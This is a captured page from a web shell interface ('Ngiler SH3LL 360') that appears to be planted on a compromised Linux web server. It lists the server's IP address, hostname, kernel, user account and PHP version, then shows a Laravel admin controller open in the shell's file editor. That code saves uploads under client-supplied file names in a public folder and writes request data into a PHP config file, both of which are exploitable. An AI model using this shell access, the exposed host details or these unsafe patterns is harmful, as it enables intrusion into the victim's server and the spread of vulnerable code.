Ngiler SH3LL 360
Home
Information
Create File
Create Folder
:
/
home
/
tbf
/
sala_palatului
/
app
/
Http
/
Controllers
/
Information Server
MySQL :
OFF
Perl :
OFF
CURL :
ON
WGET :
OFF
PKEXEC :
OFF
Directive
Local Value
IP Address
89.40.16.97
System
Linux server.atelieruldeit.ro 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
User
tbf
PHP Version
7.3.33
Software
Apache
Doc root
Writable
close
Edit File :
AdminController.php
| Size :
9.16
KB
Copy
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Auth; use App\User; use File; class AdminController extends Controller { public function json_generate(){ $json = json_decode(Auth::user()->json , true); return view('admin.json_generate', compact('json')); } public function json_generate_store(Request $request){ $auth_json = json_decode(Auth::user()->json , true); $edit = false; if($request->form_type == 'edit'){ $step_id = $request->step_id; }else{ if($auth_json){ $step_id = array_key_last($auth_json) + 1; }else{ $step_id = 0; } } // raspunsuri $answers = []; foreach($request->answers as $key => $answer){ if(isset($answer['image'])){ $filename = $answer['image']->getClientOriginalName(); $answer['image']->move(public_path('images'), $filename); }else{ $filename = $answer['old_img']; } $answer_values = [ 'title' => isset($answer['title']) ? $answer['title'] : null, 'description' => isset($answer['description']) ? $answer['description'] : null, 'video' => isset($answer['video']) ? $answer['video'] : null, 'value' => isset($answer['value']) ? $answer['value'] : null, 'image' => $filename ? $filename : null, ]; $answers[$key] = $answer_values; } // nume titlu intrebare $step_titles = []; $title_condition = false; foreach($request->step_titles as $key => $title){ $title_values = [ 'title' => isset($title['title']) ? $title['title'] : null, 'condition' => isset($title['condition']) ? $title['condition'] : null, ]; $step_titles[$key] = $title_values; } // urmatorul pas $next_steps = []; if($request->next_steps){ foreach($request->next_steps as $key => $next_step){ $next_step_values = [ 'destination' => isset($next_step['destination']) ? $next_step['destination'] : null, 'condition' => isset($next_step['condition']) ? $next_step['condition'] : null, ]; $next_steps[$key] = $next_step_values; } } if($request->image){ $filename = $request->image->getClientOriginalName(); $request->image->move(public_path('images'), $filename); }else{ $filename = isset($auth_json[$step_id]['image']) ? $auth_json[$step_id]['image'] : null; } $json = [ $step_id => [ 'title' => $step_titles, 'description' => $request->description, 'video' => $request->video, 'image' => $filename ? $filename : null, 'answers' => $answers, 'next_step' => $next_steps, ] ]; if($auth_json){ if($request->form_type == 'edit'){ $edit = true; unset($auth_json[$step_id]); } $new_json = array_replace($auth_json, $json); $new_json = json_encode($new_json); }else{ $new_json = json_encode($json); } Auth::user()->update(['json' => $new_json]); // adapteaza variabilele pentru partialul de step $json = json_decode($new_json , true); $json_step = $json[$step_id]; return view('partials.step', compact('step_id', 'edit', 'json', 'json_step')); } public function view_json_tree(){ $auth_json = json_decode(Auth::user()->json , true); $start_step = Auth::user()->start_question; $json = [ "start_question_name" => $auth_json[$start_step]['title'], "start_question" => $start_step, "questions" => $auth_json ]; $json = json_encode($json); return view('admin.json_tree_view', compact('json')); } public function json_generate_delete(Request $request){ $auth_json = json_decode(Auth::user()->json , true); unset($auth_json[$request->entity_id]); $json = json_encode($auth_json); Auth::user()->update(['json' => $json]); return response()->json("Ati sters cu succes!"); } public function json_entity_edit(Request $request){ $json = json_decode(Auth::user()->json , true); $entity = $json[$request->entity_id]; $entity_id = $request->entity_id; unset($json[$request->entity_id]); return view('partials.modal', compact('entity','entity_id','json')); } public function start_step(Request $request){ Auth::user()->update(['start_question' => $request->start_step]); return response()->json("Ati actualizat cu succes!"); } public function get_steps(){ $auth_user = Auth::user(); $json = json_decode($auth_user->json , true); $start_step = $auth_user->start_question; $start_step_title = ($start_step == 0 || $start_step) ? convert_title($json, $json[$start_step]['title']) : null; return view('partials.start_step_modal', compact('json','start_step','start_step_title')); } public function get_variables(Request $request){ $json = json_decode(Auth::user()->json , true); $variable_type = $request->variable_type; return view('partials.step_variables', compact('json', 'variable_type')); } /** * Used to return the 'partials/empty.blade.php' when called via AJAX. * * @return \Illuminate\Contracts\Support\Renderable */ public function empty_tpl() { return view('partials.empty'); } /** * Used to return the 'partials/modal.blade.php' when called via AJAX. * * @return \Illuminate\Contracts\Support\Renderable */ public function modal_tpl() { $json = json_decode(Auth::user()->json , true); return view('partials.modal', compact('json')); } /** * Used to return the 'partials/answer.blade.php' when called via AJAX. * * @return \Illuminate\Contracts\Support\Renderable */ public function answer_tpl() { return view('partials.answer'); } /** * Used to return the 'partials/elements/titlu.blade.php' when called via AJAX. * * @return \Illuminate\Contracts\Support\Renderable */ public function titlu_tpl() { return view('partials.elements.titlu'); } /** * Used to return the 'partials/elements/descripton.blade.php' when called via AJAX. * * @return \Illuminate\Contracts\Support\Renderable */ public function description_tpl() { return view('partials.elements.description'); } /** * Used to return the 'partials/elements/image.blade.php' when called via AJAX. * * @return \Illuminate\Contracts\Support\Renderable */ public function image_tpl() { return view('partials.elements.image'); } /** * Used to return the 'partials/elements/video.blade.php' when called via AJAX. * * @return \Illuminate\Contracts\Support\Renderable */ public function video_tpl() { return view('partials.elements.video'); } public function destination_tpl(Request $request) { $json = json_decode(Auth::user()->json , true); if(($request->entity_id == 0) || $request->entity_id){ unset($json[$request->entity_id]); } return view('partials.elements.destination', compact('json')); } public function getUsers(){ $users = User::where('role', '!=', 'admin')->get(); return response()->json($users, 200); } public function getUser($id){ $user = User::findOrFail($id); return response()->json($user, 200); } public function getJson(){ $json = config('constants.main_json'); return response()->json($json, 200); } public function postJson(Request $request){ $array['main_json'] = $request->json; $data = $this->var_export54($array); if(File::put(app_path() . '/../config/constants.php', "<?php\n return $data ;")) { // Successful, return Redirect... \Artisan::call('config:clear'); return response()->json("success", 200); } } public function var_export54($var, $indent="") { switch (gettype($var)) { case "string": return '"' . addcslashes($var, "\\\$\"\r\n\t\v\f") . '"'; case "array": $indexed = array_keys($var) === range(0, count($var) - 1); $r = []; foreach ($var as $key => $value) { $r[] = "$indent " . ($indexed ? "" : $this->var_export54($key) . " => ") . $this->var_export54($value, "$indent "); } return "[\n" . implode(",\n", $r) . "\n" . $indent . "]"; case "boolean": return $var ? "TRUE" : "FALSE"; default: return var_export($var, TRUE); } } }
Back